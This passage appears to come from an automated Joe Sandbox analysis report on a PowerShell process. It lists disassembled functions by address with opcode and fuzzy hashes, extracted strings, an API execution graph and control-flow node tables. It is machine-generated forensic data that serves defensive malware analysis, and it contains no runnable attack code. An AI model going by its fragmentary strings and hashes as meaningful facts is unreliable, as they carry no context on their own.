                              • Instruction Fuzzy Hash: 09211D74A042089FCB44EFB4D45499EBBF6EF89304F1149EED546DB361DB34AE408B92
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 075473E0 Relevance: .1, Instructions: 52COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a0fc1541f3c52d7be7e333acb1f671e5538b8863efc63f268aca3565d204c6f1
                              • Instruction ID: e4eb178556b02de220e9b58f9097f049a20f251d14c5e4c8c3a5c6226c28256b
                              • Opcode Fuzzy Hash: a0fc1541f3c52d7be7e333acb1f671e5538b8863efc63f268aca3565d204c6f1
                              • Instruction Fuzzy Hash: 5E017B71B042104FD3155B6998047FBAB9AEBC9360F01467BE946CB351CF254C0083E0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07548E1C Relevance: .1, Instructions: 52COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f3162f08c4a40c1b9b816ed41f592178d610a1e87973744766c71bdf8a7961f6
                              • Instruction ID: 75a0998fcc38e180560951b2283aaa20db7b716a9c20dcd819fc07ccf6d8bbfe
                              • Opcode Fuzzy Hash: f3162f08c4a40c1b9b816ed41f592178d610a1e87973744766c71bdf8a7961f6
                              • Instruction Fuzzy Hash: BD1128B19006198FCB10CF9AC845BEFBBF8FB48314F14846AD559A3640D778A945CFA5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549044 Relevance: .1, Instructions: 51COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 195c913cf3a694ed1942b3759668e3e010a8920039e19b3258c87cb2e48d274b
                              • Instruction ID: 623ce2a96c2c7ec382fa1747219f62fb02c7c87ee9bf928d05c134f2379ab6bb
                              • Opcode Fuzzy Hash: 195c913cf3a694ed1942b3759668e3e010a8920039e19b3258c87cb2e48d274b
                              • Instruction Fuzzy Hash: D8211474A15218DFCB50DFA4E485AEEB7B2FF89315F10446AE50AA7390CB31AC02CB60
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07542308 Relevance: .0, Instructions: 50COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 22788b16833449299417fc7ca9d7bf2ec8c5c273dbe0241ab23e74caec264cdb
                              • Instruction ID: a08ddbaaeb6dd0bc01c7cda9d651bf483c2c23dba149ea242c7e9ebfa7c41624
                              • Opcode Fuzzy Hash: 22788b16833449299417fc7ca9d7bf2ec8c5c273dbe0241ab23e74caec264cdb
                              • Instruction Fuzzy Hash: 8C11FB74A001089FCB44EFB4D5549AD7BF6EF89704F1089ADD50ADB361EB34AE418F91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07542980 Relevance: .0, Instructions: 48COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 73fad499d88e13623fda4b4a9e48e25325254e9b9faf3505f4bc121cbd7838b3
                              • Instruction ID: a6fece5dacfeb9945fc8089ee84582acf2a5da0585e22a7a1c86f5cc29b7d8bb
                              • Opcode Fuzzy Hash: 73fad499d88e13623fda4b4a9e48e25325254e9b9faf3505f4bc121cbd7838b3
                              • Instruction Fuzzy Hash: 4001B1312007258BD720DBA9C880D9EB7AAFFC4228B458E2DE6068B344DFB59D4587E5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0068D01D Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.850792679.000000000068D000.00000040.00000001.sdmp, Offset: 0068D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_68d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6e903c1dfc31d41f9dac917a71819855e77889fe6f4b45937b5e4a823b113d64
                              • Instruction ID: 2a1c6097476e76e414185f823f5a18c15385efcb3f51952adb71a55cf29b2f48
                              • Opcode Fuzzy Hash: 6e903c1dfc31d41f9dac917a71819855e77889fe6f4b45937b5e4a823b113d64
                              • Instruction Fuzzy Hash: 3601F731404344AAD7205E61DCC4BA7FB9DEF41368F18865AED045B3C2C3799846CBF1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754A7A7 Relevance: .0, Instructions: 44COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 66d13645dd4a9974bf0561a5963da99d5db6e8f2a58eb871600bcfd0d3032c91
                              • Instruction ID: 8c1a7fb8207df2b310581687782f883511bd4e85d461056b82bf4e1d8a1637d3
                              • Opcode Fuzzy Hash: 66d13645dd4a9974bf0561a5963da99d5db6e8f2a58eb871600bcfd0d3032c91
                              • Instruction Fuzzy Hash: B20188B4D042559FDBA9CF6588544FBFFF4FE89224B1886ABD845A7202D3359940CFB0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0068D006 Relevance: .0, Instructions: 43COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.850792679.000000000068D000.00000040.00000001.sdmp, Offset: 0068D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_68d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d4103de792e3cc7f3a887387d48ab1e52fe0173c4c0032f9802cb77b27d3b3ac
                              • Instruction ID: 42fab528ecb8af19fb58ac689f8143f7c46947121a111b5617f585d481e99b5e
                              • Opcode Fuzzy Hash: d4103de792e3cc7f3a887387d48ab1e52fe0173c4c0032f9802cb77b27d3b3ac
                              • Instruction Fuzzy Hash: CF01716144D3C45FD7128B218C94BA2BFB4EF53624F0981CBD8848F2D3C2695849CBB2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754A7B8 Relevance: .0, Instructions: 39COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 843df9053048743662a72f36edd40f79c85104a3bb87d25033f4a3a0c7fedbb1
                              • Instruction ID: 299fd14ef642e19de7c334cb894583a3518f2cadff907ce41540dda5db81533e
                              • Opcode Fuzzy Hash: 843df9053048743662a72f36edd40f79c85104a3bb87d25033f4a3a0c7fedbb1
                              • Instruction Fuzzy Hash: 770117B4D041559EDB58CF5588409EBFFF5FA49115B148156D544A6201D2359941CBB0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754B527 Relevance: .0, Instructions: 38COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: de9cc10bd2db6a3b3c6dbd2f130a411d7d9d3c32f69098bf679330dbb3ad5893
                              • Instruction ID: 6e37e803cd0e10e1e5317e6090ddca0e63c9081921e61e28cf86e3fc16e53d5a
                              • Opcode Fuzzy Hash: de9cc10bd2db6a3b3c6dbd2f130a411d7d9d3c32f69098bf679330dbb3ad5893
                              • Instruction Fuzzy Hash: 87F0B4B1F24412465A2453BA89507FB63CE5FC8668B50097BDA05C7698FFA0CC0146D3
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D620 Relevance: .0, Instructions: 34COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e1fc605ffbe3da7ad403cc7e94665a46644753dd4a49b962815eaef84ece7b0b
                              • Instruction ID: fec0b27b9df1d3e9741381287a963c8bbbd87d8cf21026242d5c6b1fb3404339
                              • Opcode Fuzzy Hash: e1fc605ffbe3da7ad403cc7e94665a46644753dd4a49b962815eaef84ece7b0b
                              • Instruction Fuzzy Hash: A5F027307143600BC3022B78A81912A3BE6DFDA71571000AEE6C5CB342DE298D0287F7
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754636F Relevance: .0, Instructions: 33COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4d56abdde929dcbffb30d2b206f07accfec40c678a774e0cca92be24b86875ee
                              • Instruction ID: dd439de210648f91d62177d1c8492099390299014569410bff4118187b6890f9
                              • Opcode Fuzzy Hash: 4d56abdde929dcbffb30d2b206f07accfec40c678a774e0cca92be24b86875ee
                              • Instruction Fuzzy Hash: 66F0BE713056500FE382ABA8D820ADA77E6DF87314F1685EFD505CB386EA248C06C792
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D3C1 Relevance: .0, Instructions: 33COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 5ecbcf7d5e759c79af7faba4a132d487b7f602ed9022a93ad3b933f529db7e6a
                              • Instruction ID: 882902e4688a993e472d35a67ebc28e00bdfe2c9a7f43ee18259b0d22120052f
                              • Opcode Fuzzy Hash: 5ecbcf7d5e759c79af7faba4a132d487b7f602ed9022a93ad3b933f529db7e6a
                              • Instruction Fuzzy Hash: 71F0CD30509248AFC701EFB4D8146AEBBE6DF82304F1105EDD5858F292EF325E008BB2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07549978 Relevance: .0, Instructions: 27COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a204e39726805abef866936d29eeef12b3d994a3865c28a13b1468e9df8977bc
                              • Instruction ID: 6ead9fb3f0744546b424ea6b1edceda9d2feef0a1e9a9649a5bd4dbd4509e668
                              • Opcode Fuzzy Hash: a204e39726805abef866936d29eeef12b3d994a3865c28a13b1468e9df8977bc
                              • Instruction Fuzzy Hash: F9E09AB171415586EB14F76A5C122FBA29F77C6118F10883E844ACB688DE69B82142E7
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D3D0 Relevance: .0, Instructions: 25COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8505a8eda86dfcffec34cd31579bd1115992d143d5e4fc1497ed09090ba56084
                              • Instruction ID: 8d35f26f874f7432d1e227efeb4ddfffe2e51b2c0fa011bc74d723117d4470cb
                              • Opcode Fuzzy Hash: 8505a8eda86dfcffec34cd31579bd1115992d143d5e4fc1497ed09090ba56084
                              • Instruction Fuzzy Hash: DCF08C30A04108AFC744EBA4D4156AE76A7DB82304F1045BC91099B386DF325E009BA2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754D630 Relevance: .0, Instructions: 24COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 019d8b2b695e2922238bf3f62adf51e88b7359eaab778e7421ce743be010722f
                              • Instruction ID: f987df9d305ff7e5da01a569c873de93c79c9f2bd636d4f01ebbf1a9b0ed4c29
                              • Opcode Fuzzy Hash: 019d8b2b695e2922238bf3f62adf51e88b7359eaab778e7421ce743be010722f
                              • Instruction Fuzzy Hash: 14E08C21B0012417D64036B8A41922F36DBEBC966AB010178E70ACB342DE2ADD0247F5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754BE76 Relevance: .0, Instructions: 24COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 180ad7400339283be7d38f09691b2918fa1366b6730a04f7a381e0ffe81d2afd
                              • Instruction ID: d7ecbb72e64280c266231013913c0343c936c61d245d4cc905bf2ba6fc09b4e2
                              • Opcode Fuzzy Hash: 180ad7400339283be7d38f09691b2918fa1366b6730a04f7a381e0ffe81d2afd
                              • Instruction Fuzzy Hash: CBF06D30744218EFDB04EB94E819BED77B2FF86716F1040A9E205AB2E1CB356D15CB11
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07548B20 Relevance: .0, Instructions: 14COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
                              • Instruction ID: 2f1addc7ac752b055209e5a892d08ee60b8d95dd5987d24a20b0db1062a2c8ce
                              • Opcode Fuzzy Hash: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
                              • Instruction Fuzzy Hash: CFD06736104249AF8B01CE84D951C6A7F6AEB49214B14C049BE5946262C633E932EBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754AACD Relevance: .0, Instructions: 14COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c961626aaa81e3ddd8135d6ed4299e09a140f7c642f22a81035396b934643b2e
                              • Instruction ID: ee959ba7a6974e8bae6d9063abf964b0368cef7c3b780c3f6fd4843b50e20603
                              • Opcode Fuzzy Hash: c961626aaa81e3ddd8135d6ed4299e09a140f7c642f22a81035396b934643b2e
                              • Instruction Fuzzy Hash: 6CD05236A0409DBFCF024F90E8008EDBF32EF88226F008012FAA491021C2328231EBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754BCF3 Relevance: .0, Instructions: 9COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: fa71935344f434ff6906ec69560e93996b33dd11049a2b3e871bc02333ee3da3
                              • Instruction ID: 32a43818d77c3da25461558bc59887944c1b6cba0d89d5fdbdd72fb2eff84586
                              • Opcode Fuzzy Hash: fa71935344f434ff6906ec69560e93996b33dd11049a2b3e871bc02333ee3da3
                              • Instruction Fuzzy Hash: 18C04C6050A2D04FCF034F6455146417AB19F52240B1542A69188CA596C5258945C7A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07542950 Relevance: .0, Instructions: 9COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d37696073247ab68c485766c43d600b1ac043810f55c05082712e3a3f1bdae89
                              • Instruction ID: eb8f08515117e18b0672d329ea671ef242da5603f22ff286d8bf7d468ac13531
                              • Opcode Fuzzy Hash: d37696073247ab68c485766c43d600b1ac043810f55c05082712e3a3f1bdae89
                              • Instruction Fuzzy Hash: 00C0021104E3D59ECF17AF7808D41867FB2599760035E18DBD4C68A257C004445ED7A1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Non-executed Functions

                              Function 0754DE78 Relevance: 7.9, Strings: 6, Instructions: 437COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh$HJh$HJh$HJh$HJh
                              • API String ID: 0-1290982571
                              • Opcode ID: c55c248889db577175c5ac9a1442f523b14f64691cae16aa0e3efaf4eb2e7cb2
                              • Instruction ID: 887c6c435b1a1c2b5e1a2f4f376d0ca188b6cdc63f19bf0a0aa856859f081c0f
                              • Opcode Fuzzy Hash: c55c248889db577175c5ac9a1442f523b14f64691cae16aa0e3efaf4eb2e7cb2
                              • Instruction Fuzzy Hash: 54F1AFB47002158FDB24DFB5C488AAEB7F6BF84708B15896DE9029B394DB35EC41CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0754EF78 Relevance: 6.6, Strings: 5, Instructions: 333COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001C.00000002.891991566.0000000007540000.00000040.00000001.sdmp, Offset: 07540000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_28_2_7540000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: HJh$HJh$HJh$HJh$HJh
                              • API String ID: 0-2931717596
                              • Opcode ID: b14b33630111f3d753bfd21d60f6a7a2ef28aafff031c469d2e077777160e3eb
                              • Instruction ID: 03fa735699a9ad5e87074286456fb44a8ba06d209d372a39d8cfc7526ff63d22
                              • Opcode Fuzzy Hash: b14b33630111f3d753bfd21d60f6a7a2ef28aafff031c469d2e077777160e3eb
                              • Instruction Fuzzy Hash: B6B111747001118FC754EBB8C858AAEB7EBEFC9714B14856DE60ACB394DF319C028BA5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Execution Graph

                              Execution Coverage:8.7%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:0%
                              Total number of Nodes:47
                              Total number of Limit Nodes:4
                              execution_graph 43721 79541e0 43722 79541ec 43721->43722 43723 795420e 43721->43723 43722->43723 43726 7953b90 43722->43726 43730 7953ba0 43722->43730 43727 7953ba0 43726->43727 43729 7953d3e 43727->43729 43734 79521c0 43727->43734 43729->43729 43731 7953bc8 43730->43731 43732 79521c0 SetThreadUILanguage 43731->43732 43733 7953d3e 43731->43733 43732->43733 43733->43733 43735 7956578 SetThreadUILanguage 43734->43735 43737 79565e9 43735->43737 43737->43729 43738 795172c 43742 7951c88 43738->43742 43747 7951c78 43738->43747 43739 7951739 43743 7951c9a 43742->43743 43744 7951ca4 43742->43744 43752 79524a3 43743->43752 43756 7952239 43743->43756 43744->43739 43748 7951c88 43747->43748 43749 7951ca4 43748->43749 43750 79524a3 SetThreadUILanguage 43748->43750 43751 7952239 SetThreadUILanguage 43748->43751 43749->43739 43750->43749 43751->43749 43760 7953738 43752->43760 43765 7953748 43752->43765 43753 79524ae 43753->43744 43759 79521bc 43756->43759 43757 79565b9 SetThreadUILanguage 43758 79565e9 43757->43758 43758->43744 43759->43756 43759->43757 43762 7953748 43760->43762 43761 79537ee 43761->43753 43762->43761 43763 7953b90 SetThreadUILanguage 43762->43763 43764 7953ba0 SetThreadUILanguage 43762->43764 43763->43761 43764->43761 43766 79539d3 43765->43766 43767 7953771 43765->43767 43768 79537ee 43767->43768 43769 7953b90 SetThreadUILanguage 43767->43769 43770 7953ba0 SetThreadUILanguage 43767->43770 43768->43753 43769->43768 43770->43768 43711 7a5eb88 43717 7a5e524 43711->43717 43713 7a5ebbd 43715 7a5ec84 CreateFileW 43716 7a5ecc1 43715->43716 43719 7a5ec30 CreateFileW 43717->43719 43720 7a5eba7 43719->43720 43720->43713 43720->43715

                              Executed Functions

                              Function 07963648 Relevance: 5.4, Strings: 4, Instructions: 441COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 0 7963648-7963653 2 7963655-796365d 0->2 3 7963673-7963693 0->3 4 796365f-7963665 2->4 5 796369a-79636ed 2->5 3->5 145 7963667 call 7963502 4->145 146 7963667 call 79635b0 4->146 147 7963667 call 7963080 4->147 148 7963667 call 7963070 4->148 149 7963667 call 7963211 4->149 150 7963667 call 796333c 4->150 151 7963667 call 796350b 4->151 152 7963667 call 7963348 4->152 15 79636f3-79636f7 5->15 16 79639dd-79639f4 5->16 7 796366d-7963670 17 79636fd-7963701 15->17 18 79639fb-7963a01 15->18 16->18 19 7963707-796370b 17->19 20 7963a08-7963a1f 17->20 18->20 22 7963a26-7963a44 19->22 23 7963711-7963718 19->23 20->22 27 7963a4b-7963a69 22->27 26 796371e-7963725 23->26 23->27 29 7963727-7963729 26->29 30 796373b-7963741 26->30 33 7963a70-7963aa0 27->33 29->33 34 796372f-7963736 29->34 35 7963aa7-7963ad7 30->35 36 7963747-7963749 30->36 33->35 38 79639b2-79639da 34->38 52 7963ade-7963ae4 35->52 36->35 40 796374f-7963758 36->40 41 7963767-796376d 40->41 42 796375a-796375f 40->42 46 7963773-7963779 41->46 47 7963b2a-7963b38 41->47 42->41 46->52 53 796377f-7963783 46->53 58 7963b87-7963b8b 47->58 59 7963b3a-7963b5d 47->59 76 7963aeb-7963af1 52->76 53->52 55 7963789-796378f 53->55 61 7963791-7963798 55->61 62 79637e8-79637ef 55->62 69 7963c10-7963c98 58->69 70 7963b91-7963b96 58->70 79 7963b5f-7963b61 59->79 80 7963b6a-7963b71 59->80 67 79637e0-79637e6 61->67 68 796379a-79637d8 61->68 65 7963837-796383a 62->65 66 79637f1-796382f 62->66 72 796383d-7963841 65->72 66->65 67->72 68->67 74 7963b98-7963ba1 70->74 75 7963ba9-7963bb0 70->75 72->76 81 7963847-796384e 72->81 74->75 75->69 78 7963bb2-7963bb7 75->78 89 7963af8-7963b16 76->89 85 7963bca-7963bd1 78->85 86 7963bb9-7963bc2 78->86 79->80 87 7963b63 79->87 80->69 91 7963b77-7963b7b 80->91 88 7963854-7963887 81->88 81->89 85->69 94 7963bd3-7963bd8 85->94 86->85 87->80 88->38 112 796388d-7963892 88->112 121 7963b1d-7963b23 89->121 95 7963b84 91->95 96 7963b7d 91->96 102 7963bda-7963be3 94->102 103 7963beb-7963bf2 94->103 95->58 96->95 102->103 103->69 105 7963bf4-7963bf9 103->105 110 7963c0c-7963c0f 105->110 111 7963bfb-7963c04 105->111 111->110 116 79639a3-79639ac 112->116 116->38 118 7963897-79638a0 116->118 122 79638a2-79638a7 118->122 123 79638af-79638b8 118->123 121->47 122->123 123->47 124 79638be-79638c4 123->124 124->121 126 79638ca-79638ce 124->126 126->121 127 79638d4-79638db 126->127 128 79638dd-7963922 127->128 129 796392a-7963931 127->129 128->129 130 7963933-796393a 129->130 131 79639a0 129->131 133 796393c-7963981 130->133 134 7963989-7963990 130->134 131->116 133->134 134->131 135 7963992-7963998 134->135 135->131 145->7 146->7 147->7 148->7 149->7 150->7 151->7 152->7
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql$`oql$`oql$`oql
                              • API String ID: 0-2273076598
                              • Opcode ID: de988cf29e30d7e16b4f61a11113a607ac5282d5c2b560442964f799477b2926
                              • Instruction ID: 8d97e56d9e7ea18719f7e1d866608549591c142b4faea062a30fabdcf0544bdd
                              • Opcode Fuzzy Hash: de988cf29e30d7e16b4f61a11113a607ac5282d5c2b560442964f799477b2926
                              • Instruction Fuzzy Hash: 4D02AE70A002069FCB14DFA4C188AAEB7FAFF84318F158A69D4069B355DB74ED45CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07952239 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 285threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 153 7952239-795223a 154 79521bc-79521c7 153->154 155 795223b-795223c 153->155 158 7956578-79565b1 154->158 156 795221e-7952238 155->156 157 795223e-795223f 155->157 156->153 159 7952246-7952248 157->159 160 7952241-7952243 157->160 161 79565b9-79565e7 SetThreadUILanguage 158->161 162 79521d5-7952209 159->162 163 7952249-795224d 159->163 160->159 165 79565f0-795660a 161->165 166 79565e9-79565ef 161->166 170 795220f-795221d 162->170 163->170 171 795224f-7952258 163->171 166->165 170->156 172 7952466-7952484 171->172 173 795225e-7952266 171->173 195 7952490-7952496 172->195 175 7952441-795245f 173->175 176 795226c-7952277 173->176 175->172 176->175 180 795227d-7952287 176->180 182 795228d-7952293 180->182 183 79523de-795243a 180->183 185 7952356-795238c 182->185 186 7952299-79522a1 182->186 183->175 214 79523a4-79523ae 185->214 215 795238e-7952394 185->215 188 79522a3-79522a9 186->188 189 79522af-79522b1 186->189 192 79522ad 188->192 193 79522ab 188->193 189->185 196 79522b7-79522bf 189->196 192->189 193->189 197 79524a0 195->197 198 7952498 195->198 199 79522c1-79522c7 196->199 200 79522cd-79522cf 196->200 197->158 198->197 203 79522c9 199->203 204 79522cb 199->204 200->185 205 79522d5-79522d7 200->205 203->200 204->200 207 79522d9-79522ef 205->207 208 7952348-7952350 205->208 217 7952317-795233b 207->217 218 79522f1-7952315 207->218 208->185 222 79523b6-79523bb 214->222 219 7952396 215->219 220 7952398-795239a 215->220 229 7952345 217->229 230 795233d 217->230 218->217 219->214 220->214 232 79523c0 call 7952d88 222->232 233 79523c0 call 7952d78 222->233 226 79523c6-79523d9 226->195 229->208 230->229 232->226 233->226
                              APIs
                              • SetThreadUILanguage.KERNELBASE ref: 079565DA
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889743316.0000000007950000.00000040.00000010.sdmp, Offset: 07950000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7950000_powershell.jbxd
                              Similarity
                              • API ID: LanguageThread
                              • String ID: d-am
                              • API String ID: 243849632-3933220344
                              • Opcode ID: 4a42e18d4b774138684111bd3fd0725624154d1163d39bf8176fb9b8e4c503f9
                              • Instruction ID: 99197239bb1f34aa795a35d598428f0a1e4a34a530f9af4a478cf274b69e7a8a
                              • Opcode Fuzzy Hash: 4a42e18d4b774138684111bd3fd0725624154d1163d39bf8176fb9b8e4c503f9
                              • Instruction Fuzzy Hash: 0FB1EFB4A042198FCB14CFA9C854AEEBBF5BF89704F1544AAD801EB391DB35DD00CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796FA70 Relevance: 2.9, Strings: 2, Instructions: 401COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
